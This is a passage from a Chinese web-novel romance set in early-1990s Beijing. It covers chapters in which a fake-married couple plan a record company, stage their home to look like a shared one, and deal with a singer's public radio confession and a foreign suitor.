“赵星宇还是跟以前一个样。”她摇了摇头,语气里带着一丝无奈,“我还以为他这几年跑遍全国唱歌,多少能磨磨性子,没想到还是这么冲动幼稚。为这点事就动手,也不怕别人看笑话。我倒是不在乎这些言论,但背后议论你的怕是不会少。” “我也不在乎外人看法。” 谢时昀没想到她第一反应不是生气,倒是说赵星宇不懂事,悬着的心一下子落了地。 他赶紧把早饭递过去:“我买了你爱吃的豆浆油条,还有城南那家的水煎包,刚出锅的,还热乎着呢。” 时墨接过油纸袋,拿起袋子里的筷子:“你也是,他疯你也跟着疯?你别 搭理他就完了,他挥拳头你不知道躲啊?真要是被他揍一拳,疼的还不是你自个儿。” 谢时昀忍不住笑了:“他打不过我。” “你还挺自豪?”时墨白了他一眼,没再追究这件事。 “别提他了,扫兴,先吃饭。” 时墨把椅子挪过去,拿起温热的豆浆喝了一口,脑子里忽然灵光一闪。 “说起赵星宇,我倒想到个稳赚不赔的买卖。”她放下筷子,眼睛亮晶晶地看着谢时昀,“你对现在的音乐行业了解多少?” 谢时昀一愣:“唱歌的?” “不止是唱歌。”时墨的手指在桌上画了个圈,“是整个音乐产业。唱片、版权、经纪、演出,一整个链条。” 谢时昀虽然不知道时墨为什么突然说起这个,但还是认真地想了下:“了解不多。不过我知道他签的那家唱片公司,抽成抽得特别狠,唱一首歌公司拿八成,他只能拿两成,而且版权还全归公司。他之前跟我抱怨过好几次,说自己就是个给公司赚钱的工具。” “这就对了。”时墨一拍桌子,越说越兴奋,“现在国内的音乐行业就是一片荒地,没人懂运营,没人重视版权,全是小打小闹。可你等着看,再过十年,这个行业能火到你不敢想象。” 九十年代初,内地流行音乐刚刚起步,港台音乐大量涌入,盗版横行,版权意识几乎为零。那些后来会红遍大江南北,成为神级人物的作词人、作曲人以及歌手,现在大多还寂寂无名,要么还在小圈子里打转,要么还没出道。现在花几千块钱就能签下他们的终身版权,以后光是版权费,就能躺着赚一辈子。 “我们开一家民营唱片公司。”时墨往前凑了凑,眼神里闪着笃定的光,“不用多,先投五十万。注册公司,找个小办公楼,再签几个有潜力的歌手和词曲作者。我们跟他们签合同,版权五五分成,给他们自由的创作环境,比那些国营公司好一百倍,肯定能挖来不少好苗子。” “等以后公司做大了,我们再做唱片发行、演唱会策划、艺人经纪,整条产业链都打通。到时候别说一个赵星宇,十个赵星宇我们都能捧出来。” 谢时昀安静地听着,看时墨说到激动处,手里的油条都忘了吃。 他看着时墨神采飞扬的样子,眼睛里满是欣赏和宠溺。他不懂音乐,但他信时墨。时墨说能赚钱的事,就从来没有赔过。 “我觉得可行。”谢时昀立刻点头,“资金方面你不用担心,我这边随时能拿出来。注册公司、找办公场地、招人这些杂事都交给我来办,你只要把大方向定好,我按着你的意思走。” “那太好了。我就出个脑子,剩下的全靠你了,我就等着收钱了。” 时墨往后一仰,靠在椅背上,满意地笑了。 毕竟小七最近天天在她脑子里唐僧念经似的,一天到晚‘宿主你不能操劳’‘宿主你会害死我的’,‘你再多管一点,我就要去扫垃圾了!’。 【宿主,我那不是念经,我是为了你好!你怎么不懂我的良苦用心!】小七在脑海里委屈地喊。 时墨假装没听见。 谢时昀看着她俏皮的样子,忍不住笑道:“行,都交给我。” 时墨满意地看了他一眼,端起搪瓷缸子又喝了一口豆浆。 这人用起来确实顺手。 说到顺手,她忽然想起一个人来。 “说起来。”时墨放下缸子,手指在杯沿上慢慢转了一圈,“音乐公司刚开肯定事多,你一个人忙不过来。还得找个靠谱的助理帮你盯着,最好是懂点音乐的。刘巍要是没出国就直接让他上了,他细心,办事也稳妥,交给他什么都不用操心。” 谢时昀脸上的笑容,瞬间僵住了。 刘巍。 这两个字像一根针,狠狠扎在他的心上。 他放在桌子底下的手,骤然收紧,指甲深深嵌进掌心,疼得他指尖发麻。可脸上却半点都没显露出来,甚至还给时墨夹了一筷子水煎包:“刘巍确实挺能干的,不过他出国深造也是好事。” “是啊,可惜了。”时墨没察觉他的异样,还在自顾自地说,“回头我让人事部贴个招聘启事,看看有没有合适的。” “别招了。”谢时昀放下筷子,看着时墨,眼神认真道:“墨墨,你想过没有,咱俩现在是假结婚的状态,昨天刚出了赵星宇的事,外面多少双眼睛盯着咱们呢。现在全京都在议论这事。这时候突然招个年轻男助理,天天跟在你身边,万一被别有用心的人拍到,又要编出什么难听的话来。” “再说你现在想歇着搞创作,招个新人还要手把手带,反而费心。我这边没问题,时记商超的事有副总盯着,沪市的地产项目也步入正轨了,音乐公司这点事,我忙得过来。有什么急事我随叫随到,不比一个外人靠谱?” 这个理由相当充分,让时墨没有理由拒绝。 “你说的确实有道理,不过,谁说我要找年轻男助理?”时墨看着谢时昀说着,后五个字故意咬音发重。 谢时昀立刻反应过来自己刚才的话有问题,赶紧解释道:“我是听你说到刘巍,以为你还要找个他那样的助理。” 时墨挑了下眉:“哦,怪我没说清楚。” “不是。” “算了,先不招了。等过段时间风头过了再说。” 谢时昀面上波澜不惊,却心里长长地舒了一口气,后背都惊出了一层冷汗。 他太清楚刘巍在时墨身边是什么样了。 一开始,他根本没把那个跟在时墨身后、说话都不敢大声的穷学生放在眼里。刘巍面对时墨时的自卑太明显了,时常低垂着头,红着脸,连眼神都不敢跟时墨对视。 他断定这种性格的人时墨绝对看不上。 可后来,他发现不对劲了。 刘巍开始变得不一样了,他做事越来越细致,越来越主动,不再需要时墨交代才去干。他会提前把所有他能力范围内的都做的面面俱到,默默记下时墨所有的喜好和生活习惯。 这些细节,谢时昀都看在眼里。 他不是没想过提醒时墨,可他又觉得自己多心了。刘巍算什么呢?一个靠时墨发工资的大学生,没背景、没家世、没人脉,拿什么跟他比? 就算他喜欢时墨,他也只能放在心里,有什么资本说出口? 直到那天。 刘巍被绑架,他去仓库接时墨。推开铁门的那一瞬,他看到刘巍被时墨架着,半个身子都靠在她身上。时墨的手揽着他的肩膀,刘巍低着头,脸埋在她肩窝的位置。 谢时昀站在门口,灯光从头顶照下来,把刘巍脸上的神情照得一清二楚。 他捕捉到了他隐藏的眼神。 刘巍抬起头的那一瞬间,眼睛充斥着的不是感激,不是庆幸,而是压抑到极致几乎要溢出来的情感。那种眼神他可太熟悉了,因为他自己就曾经用这种眼神看过时墨,无数次。 也是那一天开始,谢时昀第一次真正对这个年轻人当成了竞争对手。 但刘巍有太多短板了。他家境一般,没有根基,身高相貌也不如他,在时墨面前永远带着一种难以掩饰的自卑。 谢时昀一度觉得,就算刘巍有心,也不会有那个胆子。 可他忽然察觉到时墨开始越来越信任、亲近刘巍。 重要的项目、私人的事情都交给他,会带他去参加各种饭局,还会关心他的学业和家庭琐事。 甚至有一次他在时墨书房里看到刘巍的手抄本,厚厚的一大本,字迹工整得跟印刷册一样,时墨随口说了一句:“刘巍这人,办事越来越和我心意了。” 语气稀松平常,但谢时昀听出了里面不一样的东西。 那是时墨对他日积月累、一点一点建立起来的信任。 他这才开始慌了。 他不知道自己差在哪里。论家世、论能力、论对时墨的了解,他哪一点不比刘巍强?可时墨就是越来越亲近那个毛头小子,而对他,始终不远不近,不冷不热。 他找不出原因,只能自我安慰是时墨惜才。 谢时昀不知道的是,时墨那段时间正在考虑让刘巍当假结婚对象。小七给她分析过刘巍的“优势”——听话、好控制、随叫随到、不会干涉她的任何事。她确实认真考虑过大学毕业和刘巍签署协议。 只是后来刘巍出了国,这件事才不了了之。 谢时昀不知道这些,但他嗅到了危险的气息。 他甚至做好了最坏的打算,如果时墨真的选了刘巍,他就把对时墨的心思藏好,不给她带来困扰。 还好,命运最终站在了他这边。 刘巍出国读书了。 最后站在时墨身边的人,是他。 吃完早饭,谢时昀主动收拾碗筷,时墨在去院子里浇花。 等到谢时昀收拾完出来,看到时墨手捏着水管,水流细细地洒在菊花根部的泥土上,动作不急不慢,难得地悠闲自在,会心一笑。 他走到时墨身边:“墨墨,咱们现在虽然不是真夫妻,但外人不知道。两边家里,还有亲戚朋友,万一哪天突然袭击,看到咱们俩各住各的,各过各的,肯定会露馅。” 时墨关了水龙头,把水管盘好,转过身看他:“是得装得像一点,你打算如何?” 谢时昀斟酌了一下措辞:“咱们把各自房间布置得像新婚夫妻住的地方。你这边放点我的东西,我那屋也放点你的东西。生活用品、被子、衣物什么的,都得混着用。这样别人来了一看,就是两口子一起过日子的样子。” 时墨赞同道:“你说得对。光领个证,家里什么都没变,确实不太正常。” 她抬脚往屋里走:“那就现在弄吧。你今天没事吧?” “没事,都听你的。”谢时昀答得飞快,脚步都已经跟着她迈出去了。 “你倒是积极。” “我是怕耽误事。”谢时昀嘴角压都压不住。 他早就盼着这一天了。 能光明正大地进入时墨的私人领地,能让自己的气息和她的气息交织在一起,这是他想都不敢想的事。 两人住对门,几步远的距离。 时墨站在自己卧室门口,环顾了一圈,指挥道:“你把你的洗漱用品拿一套过来,放我卫生间里。牙刷、毛巾、剃须刀,都得有。再拿几件常穿的衣服挂我衣柜里,不要挂得太整齐,要看起来像是随手放的。” “好!我现在就回去收拾东西!”谢时昀说着,转身就往家跑。 不到十分钟,谢时昀就抱着一个大纸箱过来了。里面装着他的洗漱用品、几件常穿的衬衫,还有他平时爱看的经济类书籍。 他小心翼翼地把自己的蓝色牙刷,放在时墨的白色牙刷旁边。两个杯子挨在一起,杯口碰着杯口,像两个依偎在一起的小人。谢时昀看着,嘴角不自觉地上扬。 然后他又打开衣柜,把自己的衬衫一件一件挂在时墨的裙子旁边。衣柜里全是时墨的味道,淡淡的栀子花香,混着阳光的味道,闻着就让人心安。他弯腰时,凑近轻轻闻了一下面前的衬衫,又赶紧站直,生怕被时墨发现。 “衣服别挂太整齐,显得刻意。”时墨靠在衣柜门口指挥他,“随便挂两件,再扔一件外套在椅背上,像平时回家随手放的造型。” “好。”谢时昀立刻照做,把一件黑色的外套搭在了书桌前的椅子上。 她又拉开床头柜的抽屉:“你常用的东西拿一些过来,放里面。手表、钢笔、钱包什么的,随手就能拿到的地方,才像真的在住。” 谢时昀一一照做,脸上的笑容就没断过。 时墨的卧室,第一次有了男性的气息。 “行了,这边差不多了。”时墨拍了拍手,“走,去你那边。” 谢时昀的心跳忽然快了一拍。 这是时墨第一次进他的卧室。 他的卧室和他的人一样,冷硬、克制,没有一点多余的装饰。黑白灰的色调,实木的古董家具,书桌上堆满了文件和笔记本,书柜里整整齐齐地摆满了书,连书脊都对齐成一条直线。床上铺着灰色的床单,叠得方方正正的被子,跟部队里的豆腐块一样。 时墨站在屋子中间,环顾了一圈,忍不住摇了摇头。 谢时昀的心一下子提了起来,紧张地看着她:“怎么了?哪里不好吗?” “这也太冷淡风了。”时墨转身看着他,“一看就是个单身汉住的地方,哪像刚结婚的卧室?不行,得重新布置。” 她走到窗边,拉开窗帘:“这灰色的窗帘太压抑了,换成暖黄色的。墙上光秃秃的,挂两幅画。再买几盆绿植放在屋里,添点生气。还有被子,买一床大红色的龙凤被,放在床上撑撑场面。” 谢时昀站在时墨旁边,时墨说一句,他就点一下头:“好,都听你的。你说买什么,咱们就买什么。” 时墨把自己的粉色睡衣放在他的枕头边,又把几本言情小说塞到他的书柜里,看着原本冷硬的房间里,多了些柔软的女性气息,满意地点了点头:“这样就好多了,有点人味了。” 谢时昀看着枕头边那件粉色的睡裙,心软得一塌糊涂。他都不敢想时墨在他面前穿这件衣服的模样,他肯定会忍不住的。 与此同时,赵星宇那边乱成了一锅粥。 公司办公室里,经纪人王哥拿着报纸,急得团团转。 赵星宇翘着腿坐在沙发上,手里拿着一把吉他,有一搭没一搭地拨着弦,一副无所谓的态度。 “我跟你说,你最近给我老实待着!哪里都不许去!公开场合一句话都不许说!等风头过了再说!”王哥苦口婆心地劝道,“你现在正是上升期,不能出任何负面新闻!” 赵星宇拨了一下琴弦,抬起头,眼神执拗:“我为什么不能说?我就是喜欢时墨,怎么了?” “你!”王哥气得说不出话来,“你喜欢她有什么用?她都结婚了!嫁给你哥了!” “结婚了又怎么样?他们肯定是假结婚!”赵星宇猛地站起来,声音激动,“谢时昀跟她签了婚前协议,时墨根本就不爱他!” “你管人家真结、假结的!人家可是领了结婚证,办了酒席的!”王哥快被他气死了,“你现在说这些,只会让别人觉得你是小三!破坏别人的家庭!对你的事业有什么好处?” “我不管。”赵星宇梗着脖子,“我就是要让所有人知道,我喜欢时墨。我不会打扰她的生活,但我也不会隐瞒我的感情。” 说完,他拿起外套,转身就往外走。 “你去哪?!”王哥急忙喊道。 “去电台。”赵星宇头也不回地说,“他们约了我做专访。” 王哥心里咯噔一下,有种不好的预感。 下午三点,电台的专访准时开始。 主持人聊了几句新专辑之后,话锋一转,小心翼翼地问道:“星宇,最近大家都很关心你表哥谢时昀的婚礼,还有报纸上的那些传闻,你能跟我们说说吗?” 房间瞬间安静了。 王哥在导播间里,急得直摆手,示意他不要说。 赵星宇看着镜头,沉默了几秒,然后开口,声音清晰而坚定: “那些传闻,都是真的。我确实喜欢时墨,喜欢了很多年。” “但她现在已经结婚了,嫁给了我哥。我祝福他们。以后,我只会以朋友和弟弟的身份,守在她身边,不会打扰她的生活。” 话音落下,整个直播间一片哗然。 导播间里的王哥,眼前一黑,差点晕过去。 而此时,正在商场里挑被子的时墨和谢时昀,还不知道,赵星宇又开始口不择言。 时墨拿起一床大红色的龙凤被,转头看向谢时昀:“这个怎么样?够喜庆吧!” 谢时昀看着她明媚的笑脸,眼里满是温柔:“好看,你选的都好看。” 他伸手,想帮时墨把被子接过来。 就在这时,谢时昀的手机突然响了。 他接起电话,听了几句,脸色瞬间沉了下来。 时墨察觉到不对劲,停下脚步:“怎么了?” 谢时昀挂了电话,看着时墨,眼神里满是担心和愤怒。 “赵星宇在电台导播里,公开说,他喜欢你。” 第99章 时墨愣了两秒, 被气笑了。 她把手里那床喜庆的龙凤被子往谢时昀怀里一塞,后背往货架上轻轻一靠,双手抱胸, 嗤了一声:“赵星宇这脑子, 是怎么在那个圈活到现在的?竟然没被人坑死?他是不是觉得自己特深情、特感人?当着全国人民的面说喜欢他嫂子, 他疯了还是觉得全世界都得陪着他疯?” 谢时昀站在她面前, 手机还攥在手里,脸色铁青。 他平时再沉稳内敛,此刻也压不住眼底的戾气。他不在乎别人嚼他的舌根,也不将赵星宇浅薄的喜欢放在眼里,可他一而再再而三地把时墨推到风口浪尖, 是他绝对不能忍的底线。 “电台那边我立刻处理。”谢时昀的声音低沉, 带着风雨欲来的冷意。旁边几个营业员正偷偷往这边瞟,交头接耳地议论, 他不好发作, 只能把火气死死按在肚子里。 时墨看着他铁青的侧脸,眼神里带了点玩味。 “谢时昀。”她忽然叫了他的全名。 谢时昀一怔, 转头看她:“怎么了?” “咱俩现在, 在外人眼里可是刚办完婚礼的新婚夫妻。你作为我的丈夫, 听到别的男人在电台里公开说喜欢我, 你应该怎么做?” 她微微歪了一下头, 好整以暇地看着他,嘴角带着一丝若有若无的笑:“你难道想让我亲自下场处理?” “你在这等我五分钟。”谢时昀立刻懂了她的意思,把怀里的被子往购物车里一放, 转身就往僻静的消防通道走。 时墨靠在货架上,看着他挺拔的背影消失在拐角,指尖轻轻敲了敲胳膊。她倒不是真的生气, 就是想看看,这个愿意把全部身家都捧到她面前的人,遇到事到底会如何做。 * 谢时昀走角落,拨拨了个号码,电话接通的瞬间,他冷言道:“张台长,我是谢时昀。你们台下午三点的《音乐先锋》专访,立刻停播,所有录音全部销毁。另外,让你们台里发个声明,就说赵星宇的言论仅代表个人观点,与本台无关。” 电话那头不知道说了什么,谢时昀冷笑一声:“张台长,我不是在跟你商量。半个小时内我看不到声明,明年你们台的广告招商,谢家将全部撤资。” 不到五分钟,谢时昀就回来了。脸上的戾气散了不少,只剩下一点未平的余怒。 “搞定了?” “嗯。” 两人从商场出来的时候,天空飘着细碎的雨丝。十月的北京,秋雨带着入骨的凉意,打在脸上凉飕飕的。 谢时昀二话不说把外套脱下来搭在时墨头上,把她整个人罩在衣服里。自己穿着一件单薄的衬衫,风一吹,衬衫下摆贴在身上,勾勒出紧实的肩背线条。 “不用,我不冷。”时墨想把衣服扯下来,却被他按住了手。 “别闹,淋了雨会感冒。”谢时昀的声音温柔却不容拒绝,快步走到车旁,先拉开副驾驶的门把她塞进去,又绕到驾驶座那边上车。 他发动车子,把空调暖风开到最大,又伸手从后座捞过一条羊绒毯子,仔仔细细地盖在时墨腿上:“先暖暖,回家给你煮姜茶。” 时墨看着他衬衫肩头已经湿了一大片,贴在皮肤上,显出清晰的肩胛骨轮廓:“把衣服穿上,别回头你先感冒了。” “没事,开着暖风呢。”谢时昀笑了笑,转动方向盘,车子平稳地汇入车流。 雨越下越大,噼里啪啦地砸在挡风玻璃上,雨刷器左右摇摆,刮出一片模糊的水痕。车厢里很安静,只有发动机轻微的轰鸣声和雨声交织在一起。 “你打算怎么处理赵星宇?”时墨忽然开口,打破了沉默。 谢时昀握着方向盘的手紧了紧:“我先去找他谈最后一次。谈得拢,他乖乖发声明澄清,这事就算了。谈不拢,我会让他知道,什么叫分寸。” 他转过头,看着时墨,眼睛里是她很少见到的冷冽:“他是公众人物,你是他嫂子。他不顾自己的脸面,也得顾你的。他这么一闹,外面的人只会说他赵星宇痴情,说你时墨不守妇道,勾引小叔子。这笔账,我不能不算。” 时墨静静地看着他。 这人平时在她面前太好说话了,好说话到她有时候会忘记,他能在把生意做到如今的规模,靠的从来不是运气和温和。 “行,你去吧。”时墨解开安全带,推开车门,“处理完了给我打个电话。” 谢时昀跟她一起下了车,撑开一把黑色的长柄伞,把她送到院门口。时墨从包里掏出钥匙开门,刚要进去,忽然停下来,转过身。 “谢时昀。” “嗯?” “打架别伤到脸,不然别人问起来,丢的是咱们家的人。” “咱们家”三个字,像一颗温热的小石子,“咚”地一声掉进谢时昀心里那片平静的湖面,荡开一圈又一圈温柔的涟漪。 他愣了愣,随即笑了,眼睛亮若星辰:“我知道,保证不给你丢人。” 谢时昀撑伞将时墨送进屋里后,回到了车上,拨了赵星宇的电话,声音冰冷道:“你在哪?” 电话那头沉默了几秒,闷闷地传来一句:“公司。” “别走,我现在过去。” 挂了电话,谢时昀踩下油门,车子像离弦的箭一样冲进雨幕里。 赵星宇的经纪公司在一栋老式的五层写字楼里,没有电梯。谢时昀爬上去的时候,楼道里挤满了公司的人,三三两两地凑在一起,小声议论着下午电台的事。看到谢时昀黑着脸走过来,所有人瞬间噤声,默默往两边退开,给他让开一条路。 经纪人王哥迎上来,脸上的表情比哭还难看:“谢总,您可来了。我劝了他一下午,嘴皮子都磨破了,他就是不听啊,真不是我没拦……” 谢时昀没理他,径直推开了办公室的门。 赵星宇坐在沙发上,背对着门口,脸冲着窗外。雨打在玻璃上,模糊了外面的街景,也模糊了他的侧脸。 “你来干什么?”他头也不回地问,语气带着一股子破罐子破摔的执拗。 谢时昀关上门,走到他面前,居高临下地看着他。:“我来问问你,你在电台说的那些话,到底有没有过脑子?” “我说的是实话!”赵星宇猛地站起来,仰着头瞪着他,眼睛通红,“我就是喜欢时墨,喜欢了六年!我凭什么不能说?我又没打算破坏你们的婚姻!” “你凭什么?”谢时昀冷笑一声,伸手拽住他的衣领,把他往前一扯,“就凭她现在是我谢时昀的妻子,是你法律上的嫂子!你当着全国人民的面说这种话,你让她以后怎么做人?” 赵星宇被他拽得一个趔趄,却梗着脖子不服输:“时墨嫁给你不过是权宜之计,她根本就不爱你!你们就是假结婚!” “就算是假的,结婚证也是真的!她是我法律上的妻子,我们有法律保护!”谢时昀的声音陡然提高,带着滔天的怒意,“赵星宇,我告诉你,别拿你的无知当深情。你的喜欢,除了给她带来麻烦和骂名,什么都给不了她。你以为你是谁?你连签那份婚前协议的勇气都没有,凭什么说喜欢她?” 这句话像一把尖刀,狠狠扎进了赵星宇的心里。 他的脸瞬间变得惨白,嘴唇哆嗦着,半天说不出一句话来。 “我没想那么多,我……” “你从小到大做事从不考虑后果。”谢时昀讽刺道,“你小时候你爸妈给你擦屁股,长大了,还找我给你收拾烂摊子。你快三十了,已经是个成年男人,做事之前得想想后果。” 赵星宇低头沉默不语。 谢时昀松开他的衣领,后退一步,看着他失魂落魄的样子,语气稍微缓和了一点,却依旧带着不容置疑的强硬:“明天上午,去电台再做一次专访。就说你昨天的话被记者恶意曲解了,你和嫂子关系很好,非常尊重她,希望媒体不要过度解读。” “我不!”赵星宇猛地抬头,“我没被曲解!我说的都是实话!” “赵星宇!”谢时昀怒叱一声,“你不是小孩子了!你是个公众人物!你身后有公司,有团队,有几十万喜欢你的歌迷!你一句话,毁的不只是你自己的前途,还有时墨的名声!” 他看着赵星宇躲闪的眼神,一字一句地说:“如果你不照我说的做,我会动用所有关系,彻底封杀你。从今往后,华夏的音乐圈,不会再有你赵星宇的立足之地。你可以试试,我说到做到。” 说完,他转身就走,没有丝毫留恋。 办公室里,赵星宇瘫坐在沙发上,双手捂住脸,肩膀微微发抖。窗外的雨还在下,淅淅沥沥的,像是在为他这场无疾而终的暗恋哭泣。 谢时昀回到胡同的时候,天已经擦黑了。雨停了,空气里弥漫着泥土和青草的味道。 他推开时墨家的院门,就看见时墨正坐在堂屋的灯下看书。暖黄色的灯光落在她身上,给她镀上了一层温柔的光晕,连平日里的凌厉都柔和了不少。 “处理完了?”她放下书,抬头看他,注意到他头发湿了大半,发梢还滴着水,不由得蹙了蹙眉,“怎么不打伞?” “跑着进来的,忘了。”谢时昀笑了笑,换了鞋走进来。 时墨起身走进厨房,端出一碗冒着热气的红枣姜茶:“刚煮好的,趁热喝了驱寒。我妈下午送了饺子过来,猪肉白菜和韭菜三鲜的,我给你煮。” “不用麻烦,我自己来就行。” “坐着吧。”时墨按住他的肩膀,把姜茶塞进他手里,“你今天跑了一天了,歇会儿。” 谢时昀捧着温热的搪瓷碗,看着时墨在厨房忙碌的背影,心里暖呼呼的。 雨不知道什么时候停了,西边的天空露出一线金光。 谢时昀换了身家居服,时墨已经把饺子煮好了,热气腾腾地端上桌。 谢时昀夹了一个饺子,蘸了点醋,放进嘴里。皮薄馅大,汤汁鲜美,这是他吃过最好吃的饺子。 两人面对面坐着吃饭,谁都没提赵星宇的事。时墨偶尔抬头,看他安静的吃相,看他鬓角还没干透的水珠,看他不经意间给她碗里夹菜的手。 她不得不承认,谢时昀今天的处理方式,让她很满意。 他在面对赵星宇这件事时的处理方式没有失控,没有过度反应,该硬的时候硬,该软的时候软。关键是他能站到她的角度去想问题,去维护她的名声,并没有因为赵星宇是他弟就轻轻放下。 吃完饭,时墨刚要收拾碗筷,谢时昀立刻伸手拦住她:“我来,你去歇着。” 他撸起袖子,端着碗筷走进厨房。水龙头哗哗地流着水,他认真地刷着碗,背影挺拔又可靠。 时墨靠在厨房门口,看着他的背影,忽然叫了他一声:“谢时昀。” “嗯?”谢时昀回过头,脸上还沾着洗洁精的泡沫。 “今天这事,你处理得不错。” 谢时昀的眼睛瞬间亮了:“真的?” “真的。”时墨转身回了堂屋,丢下一句,“好好洗,别把碗打碎了。” 独留谢时昀一个人站在厨房里傻笑半天。 三天后,时墨正在筹备新剧本,接到了伊恩的电话。 “时墨!我回来了!”电话那头传来伊恩热情洋溢的声音,带着他独有的洋腔洋调,我刚下飞机就给你打电话了!你结婚这么大的事居然不告诉我!我还是看报纸才知道的!太不够意思了!” 时墨笑着直起腰:“你消息够灵通的,在英国都能看到国内的报纸?” “我朋友特意给我寄的!我一看到头版头条,立刻就买机票飞回来了!连时差都没倒!”伊恩委屈巴巴道,“你在哪呢?我现在就要见你!” “我在家,你过来吧。” 挂了电话不到一个小时,院门就被敲响了。 时墨打开门,就看见伊恩站在门口。他比上次见面瘦了一些,金发剪短了,穿着一件棕色的皮夹克,蓝色的眼睛明亮依旧,看到时墨就张开双臂,给了她一个热情的拥 抱:“墨!新婚快乐!” 他又在她两侧脸颊各贴了一下,贴面礼做得自然而然。 时墨被他抱得猝不及防,笑着拍了拍他的背:“行了行了,进来坐。” 伊恩走进院子,目光飞快地扫了一圈。他看到了窗台上新换的暖黄色窗帘,看到了晾衣架上那件男士的灰色衬衫,看到了门口并排放着的两双拖鞋,一双粉色,一双灰色。 他的眼神暗了暗,语气酸溜溜的:“你还真跟他住一起了?” “不然呢?”时墨给他倒了杯茶,“哪有新婚夫妻分开住的道理。” 伊恩坐下来,端起茶杯喝了一口,放下的时候,从大衣内兜里掏出一张折叠的报纸,摊在石桌上。正是三天前的《京城娱乐周报》,头版头条赫然是“兄弟反目为红颜,摇滚天王示爱嫂子”。 “我看了好几遍。”伊恩指着那张照片,蓝色的眼睛里满是心疼,“这个赵星宇,太不懂事了。怎么能这么对你?” “他不懂事,谢时昀已经处理好了。”时墨瞥了一眼,淡淡道。 “他在电台说的话我也听说了。”伊恩放下报纸,靠在椅背上,评判道,“这人,不好。” “嗯,不好。” 伊恩看着她平静的脸,沉默了很久,才缓缓开口:“墨,我知道你们的婚前协议。所有的条件,我都知道。” 他抬起头,看着时墨,眼神里满是遗憾和不甘:“如果我当时没有回国,一直留在你身边,现在跟你结婚的人,会不会是我?我也愿意签那份协议,甚至比他更苛刻,我的所有财产都可以给你。” 秋风吹过,石榴树上最后几片叶子打着旋儿落下来,飘进屋内。 时墨端起茶杯,慢慢喝了一口,放下。 “伊恩,很多事没有如果。”她的语气很平静,却带着不容置疑的坚定,“用我们华夏人的话说,这叫有缘无分。” 伊恩看着她的眼睛,苦笑了一下,点了点头:“我明白。不过没关系,就算做不成恋人,我也是你最好的朋友,最可靠的生意伙伴。这一点,永远不会变。” “当然,我也是。” 伊恩眼神真诚道:“墨,虽然你结婚了,但我还是很喜欢你。要是哪天你想离婚了,一定要第一个考虑我,我随时都在。” 话音刚落,门吱呀”一声被推开了。 谢时昀端着一盘切好的水果站在门口,脸上带着恰到好处的微笑,但眼底的黑沉沉的,像暴雨来临的前兆。 “伊恩先生,”他走进来,把果盘放在石桌上,语气客气却疏离,“恐怕你没有这个机会了。我和墨墨感情很好,我们不会离婚的。” 时墨侧头看了谢时昀一眼。 他从进门到现在,身上的寒意隔着三步远都能感觉到。 “是吗?”伊恩挑了挑眉,毫不示弱地看着他:“谢先生,话不要说太满。感情这种事,谁也说不准。” “行了,别扯这些没用的。”时墨及时打断两人的火药味,拿起一块苹果咬了一口,“说正事。伊恩,你这次回来,除了高定服饰,还有别的投资计划吗?” 提到正事,伊恩立刻收起了玩笑的神色:“当然有。我这次回来,是想全面进军华夏市场。除了服饰,我最看好的就是影视行业。我在好莱坞投了几部电影,赚了不少钱,国内现在正是蓝海,机会很多。” “巧了,我也正想做影视。”时墨眼睛一亮,“现在国内的影视公司大多是国营的,机制死板,留不住人才。我们开一家民营的,做全产业链,从制作到发行再到院线,全部打通。十年后,这个市场的规模会是现在的上百倍。” 她说这话的时候,眼神发亮,整个人都散发着自信的光芒。谢时昀坐在旁边,安静地看着她,手里默默剥着橘子,把剥好的橘瓣一瓣一瓣地放在干净的碟子里,推到她面前。 “我在好莱坞有不少资源,导演、制片人、演员都认识。”伊恩说,“如果你想做,我可以帮你牵线,我们合资开公司。你负责国内市场,我负责引进海外资源和技术,利润五五分。” “不用五五分。”时墨摇摇头,“我出百分之四十,你和谢时昀各出百分之三十。他之前跟投过几部电视剧,对国内的影视圈也比较熟,而且我们马上要开唱片公司,可以资源共享。” 谢时昀闻言,抬起头,有些意外地看着时墨。他没想到时墨会主动拉他入伙,还把这么大的股份给他。 伊恩看了谢时昀一眼,点了点头:“可以。谢先生的能力我信得过。那我们明天就去看办公场地,尽快把公司注册下来。” 三人又聊了一个多小时的合作细节,从公司选址聊到人员招聘,从第一个项目聊到未来规划,越聊越投机。 伊恩看了看手表,站起身:“我得回酒店倒时差了,明天上午九点,我过来接你们。” “好。” 时墨起身去送伊恩,谢时昀知道两人还有话要说,便没跟上去。 两人走到院门口,伊恩注意后方谢时昀的视线,一直没有离开,站在院门口,靠近时墨,压低声音,笑着说:“他生气了。” 时墨歪头看他:“你怎么看出来的?” “他刚才的视线对我充满了敌意。”伊恩余光看到谢时昀的身影,笑道,“时墨你看,他可不大度,嘴上说着让我们聊,人却没走哦。” 时墨没忍住会后看了一眼,谢时昀冲她微笑。 “那有如何,我俩可是新婚夫妻,他黏我很正常。”时墨伪装的很好,理所当然道,“他要是对你这位追求者没有任何表露,我倒是要重新审视他了。” 伊恩点点头:“那是我想多了,我来之前听有些人私下说你们是协议婚约,以为我还会有机会,现在看来,你们确实感情很好。” 时墨送别伊恩回来:“他说的那些话,你别往心里去。” “我没往心里去。” 谢时昀沉默一会儿,哑声道:“我怕你真的会考虑他。” 时墨看着他耷拉着脑袋的样子,像只被雨淋湿的大狗,心底莫名升起一丝怜爱。 “谢时昀。”她靠在堂屋的门框上,双手抱胸,看着他的眼睛,“你现在是我法律上的丈夫。只要这个身份一天没变,我就不会考虑任何人。我说到做到。” 谢时昀猛地抬起头,眼睛里瞬间迸发出惊喜的光芒。他往前走了两步,站在时墨面前,弯下腰,两人近到能闻到彼此身上的气息。 他凝视着时墨的眼睛,带着一丝小心翼翼的试探,还有压抑不住的期待:“那……你现在,是把我当名义上的丈夫吗?” 谢时昀近在咫尺的脸,让时墨的心跳忽然漏了一拍。 她看到他眼里的温柔和深情,看着他微微颤抖的睫毛,鬼使神差地,没有回答。 谢时昀的喉结上下滚动了一下,声音低哑得像呢喃:“那……你能不能……亲我一下?” “就一下。” 第100章 时墨被谢时昀突如其来的话弄得怔了一下, 抬眼看他。 谢时昀的睫毛微微颤着,喉结上下滚动,牵动着脖颈流畅的线条, 锁骨上方那片皮肤都泛起了薄红。 他弯着腰, 视线牢牢锁在她脸上, 眼底翻涌着期待、忐忑, 还有一丝怕被拒绝的卑微。 满园寂静。 石榴树的枝丫在夜风里轻轻摇晃,几片枯叶打着旋儿落下来,发出细微的沙沙声。远处胡同里传来谁家收音机的咿呀唱腔,断断续续,更衬得此刻的安静撩人。 谢时昀的心一点一点往下沉。 时间好像凝固了, 每一秒都被拉得极长。他垂下眼不敢再看时墨, 正要往后退开,讪讪地说自己冒失了。 